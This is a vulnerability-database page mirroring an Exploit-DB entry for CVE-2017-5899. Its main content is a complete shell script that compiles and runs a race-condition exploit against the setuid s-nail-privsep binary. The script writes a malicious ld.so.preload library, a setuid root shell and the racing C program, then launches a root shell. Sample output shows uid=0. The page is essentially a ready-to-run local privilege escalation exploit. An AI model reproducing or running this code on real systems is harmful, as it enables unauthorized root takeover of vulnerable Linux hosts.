Lucene search
K

S-nail < 14.8.16 - Local Privilege Escalation

🗓️ 13 Jan 2019 00:00:00Reported by bcolesType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

S-nail < 14.8.16 - Local Privilege Escalation using ld.so.preload technique. Exploits s-nail-privsep to gain root access

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2002-0526
12 Mar 202611:02
githubexploit
0day.today
S-nail < 14.8.16 - Local Privilege Escalation Exploit
26 Jul 201900:00
zdt
CNVD
S-nail Local Elevation of Privilege Vulnerability
10 Feb 201700:00
cnvd
CVE
CVE-2017-5899
27 Mar 201715:00
cve
Cvelist
CVE-2017-5899
27 Mar 201715:00
cvelist
Debian CVE
CVE-2017-5899
27 Mar 201715:00
debiancve
EUVD
EUVD-2017-14974
7 Oct 202500:30
euvd
exploitpack
S-nail 14.8.16 - Local Privilege Escalation
13 Jan 201900:00
exploitpack
NVD
CVE-2017-5899
27 Mar 201715:59
nvd
OpenVAS
Ubuntu: Security Advisory (USN-4820-1)
27 Jan 202300:00
openvas
Rows per page
#!/bin/sh
# Wrapper for @wapiflapi's s-nail-privget.c local root exploit for CVE-2017-5899
# uses ld.so.preload technique
# ---
# [~] Found privsep: /usr/lib/s-nail/s-nail-privsep
# [.] Compiling /var/tmp/.snail.so.c ...
# [.] Compiling /var/tmp/.sh.c ...
# [.] Compiling /var/tmp/.privget.c ...
# [.] Adding /var/tmp/.snail.so to /etc/ld.so.preload ...
# [=] s-nail-privsep local root by @wapiflapi
# [.] Started flood in /etc/ld.so.preload
# [.] Started race with /usr/lib/s-nail/s-nail-privsep
# [.] This could take a while...
# [.] Race #1 of 1000 ...
# This is a helper program of "s-nail" (in /usr/bin).
#   It is capable of gaining more privileges than "s-nail"
#   and will be used to create lock files.
#   It's sole purpose is outsourcing of high privileges into
#   fewest lines of code in order to reduce attack surface.
#   It cannot be run by itself.
# [.] Race #2 of 1000 ...
# ...
# ...
# ...
# [.] Race #9 of 1000 ...
# [+] got root! /var/tmp/.sh (uid=0 gid=0)
# [.] Cleaning up...
# [+] Success:
# -rwsr-xr-x 1 root root 6336 Jan 13 20:42 /var/tmp/.sh
# [.] Launching root shell: /var/tmp/.sh
# # id
# uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(test)
# ---
# <[email protected]>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899

base_dir="/var/tmp"
rootshell="${base_dir}/.sh"
privget="${base_dir}/.privget"
lib="${base_dir}/.snail.so"

if test -u "${1}"; then
  privsep_path="${1}"
elif test -u /usr/lib/s-nail/s-nail-privsep; then
  privsep_path="/usr/lib/s-nail/s-nail-privsep"
elif test -u /usr/lib/mail-privsep; then
  privsep_path="/usr/lib/mail-privsep"
else
  echo "[-] Could not find privsep path"
  exit 1
fi
echo "[~] Found privsep: ${privsep_path}"

if ! test -w "${base_dir}"; then
  echo "[-] ${base_dir} is not writable"
  exit 1
fi

echo "[.] Compiling ${lib}.c ..."

cat << EOF > "${lib}.c"
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void init(void) __attribute__((constructor));                                                             

void __attribute__((constructor)) init() {
  if (setuid(0) || setgid(0))
    _exit(1);

  unlink("/etc/ld.so.preload");

  chown("${rootshell}", 0, 0);
  chmod("${rootshell}", 04755);
  _exit(0);
}
EOF

if ! gcc "${lib}.c" -fPIC -Wall -shared -s -o "${lib}"; then
  echo "[-] Compiling ${lib}.c failed"
  exit 1
fi

/bin/rm "${lib}.c"

echo "[.] Compiling ${rootshell}.c ..."

cat << EOF > "${rootshell}.c"
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0);
  setgid(0);
  execl("/bin/sh", "sh", NULL);
}
EOF

if ! gcc "${rootshell}.c" -fPIC -Wall -s -o "${rootshell}"; then
  echo "[-] Compiling ${rootshell}.c failed"
  exit 1
fi

/bin/rm "${rootshell}.c"

cat << EOF > "${privget}.c"
/*
** 26/01/2016: s-nail-privsep local root by @wapiflapi
** The setuid s-nail-privsep binary has a directory traversal bug.
** This lets us be owner of a file at any location root can give us one,
** only for a very short time though. So we have to race a bit :-)
** Here we abuse the vuln by creating a polkit policy letting us call pkexec su.
**
** gcc s-nail-privget.c -o s-nail-privget
**
** # for ubuntu:
** ./s-nail-privget /usr/lib/s-nail/s-nail-privsep
** # for archlinux:
** ./s-nail-privget /usr/lib/mail-privsep
** ---
** Original exploit: https://www.openwall.com/lists/oss-security/2017/01/27/7/1
** Updated by <[email protected]> to use ldpreload technique
** https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899
*/

#define _GNU_SOURCE

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define ROOTSHELL "${rootshell}"
#define ITERATIONS 1000

/*
** Attempts to copy data to target quickly...
*/
static pid_t flood(char const *target, char const *data, size_t len) {
  pid_t child;

  if ((child = fork()) != 0)
    return child;

  if (nice(-20) < 0) {
    dprintf("[!] Failed to set niceness");
  }

  while (1) {
    int fd;

    if ((fd = open(target, O_WRONLY)) < 0) {
      continue;
    }

    write(fd, data, len);
    close(fd);

    usleep(10);
  }

  return child;
}

/*
** This triggers the vulnerability. (a lot.)
*/
static pid_t race(char const *path, char const *target) {
  pid_t child;

  if ((child = fork()) != 0)
    return child;

  char *argv[] = {
    NULL, "rdotlock",
    "mailbox",	NULL, // \$TMPDIR/foo
    "name",	NULL, // \$TMPDIR/foo.lock
    "hostname",	"spam",
    "randstr",	NULL, // eggs/../../../../../../..\$TARGET
    "pollmsecs","0",
    NULL
  };

  char tmpdir[] = "/tmp/tmpdir.XXXXXX";
  char *loldir;

  int fd, pid, inpipe[2], outpipe[2];

  if (!mkdtemp(tmpdir)) {
    dprintf("[-] mkdtemp(%s)", tmpdir);
    exit(EXIT_FAILURE);
  }

  if (!(argv[0] = strrchr(path, '/'))) {
    dprintf("[-] %s is not full path to privsep.", path);
    exit(EXIT_FAILURE);
  }
  argv[0] += 1; // skip '/'.

  // (nope I'm not going to free those later.)
  if (asprintf(&loldir, "%s/foo.lock.spam.eggs", tmpdir) < 0 ||
      asprintf(&argv[3], "%s/foo", tmpdir) < 0 ||
      asprintf(&argv[5], "%s/foo.lock", tmpdir) < 0 ||
      asprintf(&argv[9], "eggs/../../../../../../..%s", target) < 0) {
    dprintf("[-] asprintf() failed\n");
    exit(EXIT_FAILURE);
  }

  // touch \$tmpdir/foo
  if ((fd = open(argv[3], O_WRONLY | O_CREAT, 0640)) < 0) {
    dprintf("[-] open(%s) failed\n", argv[3]);
    exit(EXIT_FAILURE);
  }
  close(fd);

  // mkdir \$tmpdir/foo.lock.spam.eggs
  if (mkdir(loldir, 0755) < 0) {
    dprintf("[-] mkdir(%s) failed\n", loldir);
    exit(EXIT_FAILURE);
  }

  // OK, done setting up the environment & args.
  // Setup some pipes and let's get going.
  if (pipe(inpipe) < 0 || pipe(outpipe) < 0) {
    dprintf("[-] pipe() failed\n");
    exit(EXIT_FAILURE);
  }

  close(inpipe[1]);
  close(outpipe[0]);

  while (1) {
    if ((pid = fork()) < 0) {
      dprintf("[!] fork failed\n");
      continue;
    } else if (pid) {
      waitpid(pid, NULL, 0);
      continue;
    }

    // This is the child, give it the pipes it wants. (-_-')
    if (dup2(inpipe[0], 0) < 0 || dup2(outpipe[1], 1) < 0) {
      dprintf("[-] dup2() failed\n");
      exit(EXIT_FAILURE);
    }

    if (nice(20) < 0) {
      dprintf("[!] Failed to set niceness");
    }

    execv(path, argv);
    dprintf("[-] execve(%s) failed\n", path);
    exit(EXIT_FAILURE);
  }

  return child;
}

int main(int argc, char **argv, char **envv) {
  char payload[] = "${lib}";
  char const *target = "/etc/ld.so.preload";
  char const *privsep_path = argv[1];
  pid_t flood_pid, race_pid;
  struct stat st;

  if (argc != 2) {
    dprintf("usage: %s /full/path/to/privsep\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  lstat(privsep_path, &st);

  if ((long)st.st_uid != 0) {
    dprintf("[-] privsep path is not valid: %s\n", privsep_path);
    exit(EXIT_FAILURE);
  }

  dprintf("[=] s-nail-privsep local root by @wapiflapi\n");

  if ((flood_pid = flood(target, payload, sizeof payload)) == -1) {
    dprintf("[-] flood() failed\n");
    exit(EXIT_FAILURE);
  }

  dprintf("[.] Started flood in %s\n", target);

  if ((race_pid = race(privsep_path, target)) == -1) {
    dprintf("[-] race() failed\n");
    exit(EXIT_FAILURE);
  }

  dprintf("[.] Started race with %s\n", privsep_path);
  dprintf("[.] This could take a while...\n");

  for (int i = 1; i <= ITERATIONS; i++) {
    dprintf("[.] Race #%d of %d ...\n", i, ITERATIONS);
    system(privsep_path);
    lstat(ROOTSHELL, &st);
    if ((long)st.st_uid == 0)
      break;
  }

  kill(race_pid, SIGKILL);
  kill(flood_pid, SIGKILL);

  if ((long)st.st_uid != 0) {
    dprintf("[-] Failed. Not vulnerable?\n");
    exit(EXIT_FAILURE);
  }
  dprintf("[+] got root! %s (uid=%ld gid=%ld)\n", ROOTSHELL, (long)st.st_uid, (long)st.st_gid);

  return system(ROOTSHELL);
}
EOF

echo "[.] Compiling ${privget}.c ..."

if ! gcc "${privget}.c" -fPIC -Wall -s -o "${privget}"; then
  echo "[-] Compiling ${privget}.c failed"
  exit 1
fi

/bin/rm "${privget}.c"

echo "[.] Adding ${lib} to /etc/ld.so.preload ..."

echo | $privget "${privsep_path}"

echo '[.] Cleaning up...'

/bin/rm "${privget}"
/bin/rm "${lib}"

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo "[.] Launching root shell: ${rootshell}"
$rootshell

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jan 2019 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 26.9
CVSS 37
EPSS0.00795
46